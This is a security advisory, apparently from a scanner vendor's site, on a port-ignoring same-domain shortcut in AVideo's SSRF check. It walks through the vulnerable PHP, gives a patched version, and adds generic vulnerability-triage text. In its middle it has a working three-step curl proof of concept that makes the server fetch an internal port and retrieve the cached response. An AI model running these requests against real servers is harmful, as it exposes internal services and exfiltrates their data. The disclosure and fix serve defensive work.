The isSSRFSafeURL() function in objects/functions.php contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches webSiteRootURL to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.
Commit 40872e529 fixed an extension-based SSRF bypass by making isSSRFSafeURL() unconditional. However, isSSRFSafeURL() itself contains a same-domain shortcircuit that returns true when the URL's hostname matches webSiteRootURL's hostname, without validating the port:
// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
$siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
if ($host === $siteHost) {
_error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)");
return true; // Returns immediately — port, path, scheme all unchecked
}
}
The attack flow through objects/aVideoEncoder.json.php:
$_REQUEST['downloadURL'] is passed to downloadVideoFromDownloadURL() at line 166isSSRFSafeURL() is called at line 368 — passes due to hostname matchurl_get_contents($downloadURL) fetches the attacker-controlled URL at line 378Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL) at line 393-395The cache/tmpFile/ directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.
The auth requirement is User::canUpload() (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid video_id_hash (a per-video token) can be used via useVideoHashOrLogin() at line 57.
Assuming the AVideo instance is at https://avideo.example.com/ and an internal service runs on port 9998:
# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
-d 'user=testuser&pass=testpass'
# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
-d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'
# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin
Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in .mp3) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.
The fix at 40872e529 specifically mentions blocking http://127.0.0.1:9998/probe.mp4. This bypass reaches the exact same internal service by replacing 127.0.0.1 with the site's public hostname — the DNS resolution points to the same server.
40872e529.The same-domain shortcircuit should validate that both the hostname and port match webSiteRootURL. Replace objects/functions.php lines 4290-4296:
// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL
if (!empty($global['webSiteRootURL'])) {
$siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
$sitePort = parse_url($global['webSiteRootURL'], PHP_URL_PORT);
$siteScheme = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_SCHEME));
// Default port based on scheme if not explicitly set
if (empty($sitePort)) {
$sitePort = ($siteScheme === 'https') ? 443 : 80;
}
$urlPort = parse_url($url, PHP_URL_PORT);
$urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));
if (empty($urlPort)) {
$urlPort = ($urlScheme === 'https') ? 443 : 80;
}
if ($host === $siteHost && $urlPort === $sitePort) {
_error_log("isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)");
return true;
}
}
This ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.
| Software | From | Fixed in |
|---|---|---|
wwbn / avideo
|
- | 29.0.x |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.